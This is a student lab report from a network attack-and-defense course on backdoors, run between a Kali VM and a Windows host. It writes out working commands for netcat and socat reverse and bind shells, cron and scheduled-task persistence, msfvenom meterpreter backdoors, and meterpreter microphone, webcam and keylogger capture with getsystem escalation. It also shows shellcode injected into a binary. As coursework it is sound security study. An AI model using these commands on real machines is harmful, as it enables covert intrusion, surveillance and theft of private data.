20222323 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载破解版软件:这些安装包里可能被植入病毒或恶意代码,一旦安装后门就会被留在系统里
点击可疑网页链接:可能会触发恶意脚本,从而在系统留下后门
使用移动存储设备:像U盘等移动存储设备如果已被感染,就会在插入电脑时留下后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win系统:定时任务、伪装成正常的程序
linux系统:crontab定时任务、启动脚本
(3)Meterpreter有哪些给你映像深刻的功能?
捕捉截屏、录音、摄像头信息等个人隐私的功能让我觉得很震惊
(4)如何发现自己有系统有没有被安装后门?
使用专业的反病毒软件和扫描软件
定时检查系统日志
及时更新补丁修复漏洞
2.实验过程
一、使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
先查看自己主机(win机)的ip地址:
然后kali中切换至root用户(涉及权限问题),由于我没有给root设置过密码,所以先用自己的用户给root设置密码,再登陆root用户:
要获取主机操作shell,即win机的shell,命令是cmd.exe,linux机获取shell命令是/bin/sh
主机做监听,虚拟机做连接:
Win主机输入指令:ncat.exe -l -p 4444(l表示listen,“监听”;p表示port,即4444端口,后面我换成了8888端口)
Linux虚机输入指令:nc 192.168.54.169 4444 -e /bin/sh(-e指定连接后运行的程序,本例中就是shell。)
出现的乱码是这个意思:(虚拟机中所有汉字都加载不出来)
win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。
cron启动任务:
输入crontab -e,选择2:/usr/bin/vim.basic即新手模式
按i开始编译,在最后插入30 * * * * /bin/netcat 192.168.54.169 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动shell)
编译完后esc,输入:wq保存
crontab -l可以查看时程表,确认任务有没有被成功创建
同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件
返回主机输入nc-l-p 8888,虚拟机输入nc 192.168.54.169 8888 -e /bin/sh建立连接,
再输入echo "* * * * * echo"20222323dxh"/home/dxh/Desktop/20222323dxh.txt">/var/spool/cron/crontabs/root
修改桌面上已创建好的文件内容
修改成功了:
至此任务一成功!
二、使用socat获取主机操作Shell, 任务计划启动
主机下载好socat后进入socat目录,输入命令:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
将shell绑定到8888端口
连接主机与虚拟机
此时需要用codeblocks编写程序作为主机要启动的计划,省略编译过程
虚拟机中输入schtasks /create /sc minute /mo 1 /tn "20222323dxh" /tr C:\Users\Dell\Desktop\20222323dxhtest.exe (1分钟执行一次此程序)
在计算机管理中查看运行任务:
正在执行,说明任务二成功!
三、使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
先查看虚拟机ip地址:
使用MSF meterpreter生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.54.32 LPORT=8888 -f exe > 20222323backdoor.exe
使用netcat将此文件传输给主机:nc 192.168.54.169 8888 20222323backdoor.exe(主机中生成的文件名是20222323backdoor)
成功在主机中找到该后门文件:
回到kali进行监听:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.54.32 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行,并在win机运行后门文件:
至此任务三成功!
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
继续输入以下命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上
尝试提权:确保cmd用管理员身份运行
继续在虚拟机中输入:
getuid (查看当前用户)
getsystem (提权指令)
至此任务四成功!
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
在kali命令行下输入:
Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.54.32 LPORT=8888 -x /root/Desktop/pwn1 -f elf > 20222323_pwn1(一定要放在一行里)
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 20222323_pwn1的文件中。)
重现监听过程
打开另一个shell,运行生成文件
回到第一个shell,输入ls确认连接,成功实现远程控制shell
至此任务五成功!实验二结束
3.问题及解决方案
-
问题1:root用户没有设置过密码
-
问题1解决方案:得先用自己的用户为root设置密码后才能切换root
-
问题2:任务一输入ls没有任何反应
-
问题2解决方案:可能是没有成功连接或者当前文件夹内没有文件,反正新建两个文件就能显示了
-
问题3:任务二中输入socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr有warning
-
问题3解决方案:可以不管,没有大影响,也可以修改一下代码进行维护
-
问题4:任务二中计划一直没有创建成功
-
问题4解决方案:cmd命令要加-e cmd.exe,创造shell,否则无法执行命令,即nc -l -p 8888 -e cmd.exe
4.学习感悟、思考等
完成这五个实践目标后,我会感到既充实又充满挑战。通过运用netcat和cron,我体验到了在Linux系统中获取Shell和控制周期性任务的乐趣。利用socat进一步加深了我对Shell获取的理解,并熟悉了任务计划启动的方法。通过MSF meterpreter生成后门并运行,我掌握了远程控制主机的技巧。获取目标主机的敏感信息和尝试提权,更是让我感受到了渗透测试的深度。最后,通过shellcode注入获取反弹Shell,我深刻体会到了漏洞利用的魅力。更有意思的是,提取个人隐私的部分让我有点当黑客的感觉,这也是困难且枯燥的实验中稍微能有些乐子的内容了。